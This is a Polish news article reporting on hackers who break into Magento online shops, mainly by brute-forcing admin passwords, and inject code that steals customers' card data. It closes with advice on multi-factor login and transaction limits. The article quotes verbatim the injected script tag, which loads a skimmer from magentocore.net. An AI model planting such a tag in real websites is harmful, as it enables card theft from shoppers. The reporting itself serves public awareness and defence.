Sklepy internetowe oparte o silnik Magento zaatakowane przez hakerów

Według eksperta w zakresie bezpieczeństwa, Willema de Groota, wśród zarażonych stron są firmy notowane na giełdzie obracające milionowymi kwotami. 1450 spośród ponad 7339 stron, korzystających z Magento, miało przez pół roku w kodzie umieszczony szkodliwy skrypt. W tym czasie zaatakowane serwisy nie zareagowały na wyciek danych. Reszcie sklepów zajmowało to średnio kilka tygodni. Co gorsza, proceder trwa dalej – codziennie kilkadziesiąt kolejnych witryn pada ofiarą włamywaczy.
Magento
Magento

Włamywacze kradną dane kart kredytowych klientów sklepów internetowych (graf. Adobe)

Przestępcy najczęściej łamią hasła drogą brute force, czyli przy pomocy botów metodą wielu prób zgadują hasła do panelu administracyjnego. Kiedy już uzyskają dostęp do tego miejsca, umieszczają w serwisie kod JavaScript, który pobiera ze strony magentocore.net złośliwy skrypt mage.js. Jak wykryli specjaliści, strona ze złośliwym oprogramowaniem jest na serwerze w Moskwie.

<script type="text/javascript" src="https://magentocore.net/mage/mage.js"></script>

Hakerzy kradną również hasła, stosując phishing i za pomocą złośliwego oprogramowania instalowanego na komputerach programistów oraz administratorów internetowych sklepów. Nie jest wykluczone, że korzystają z luk bezpieczeństwa w silnikach Magento (należącego do Adobe) i WooCommerce (darmowej wtyczki do WordPressa), zwłaszcza wtedy, kiedy skrypty stron nie są aktualizowane na bieżąco.

Sklep warto zabezpieczyć logowaniem wieloetapowym, na przykład przy pomocy Google Authenticatora (graf. Google)

Poza śledzeniem informacji o najnowszych lukach bezpieczeństwa i aktualizowaniem serwisu, dobrym pomysłem wydaje się dodanie weryfikacji wieloetapowej. Rozwiązanie opiera się o potwierdzenia SMS albo kod z Google Authenticatora, który jest odświeżany co 30 sekund. Obecnie takie metody są niezbędne, zwłaszcza w przypadku sklepów internetowych. Klienci z kolei powinni ustawić limit  finansowy dla transakcji sieciowych, aby przestępcy nie mogli przelać zbyt dużej kwoty w razie kradzieży danych karty. W takim wypadku, co prawda możemy liczyć na zwrot pieniędzy przez bankową procedurę chargeback, jednak lepiej ograniczyć ryzyko.

O problemach z kolei platformy Magento e-Commerce pisaliśmy kilka miesięcy temu. Wtedy chodziło o kradzież pieniędzy z kart kredytowych użytych w sklepie marki OnePlus. | CHIP

Więcej:hakerstwo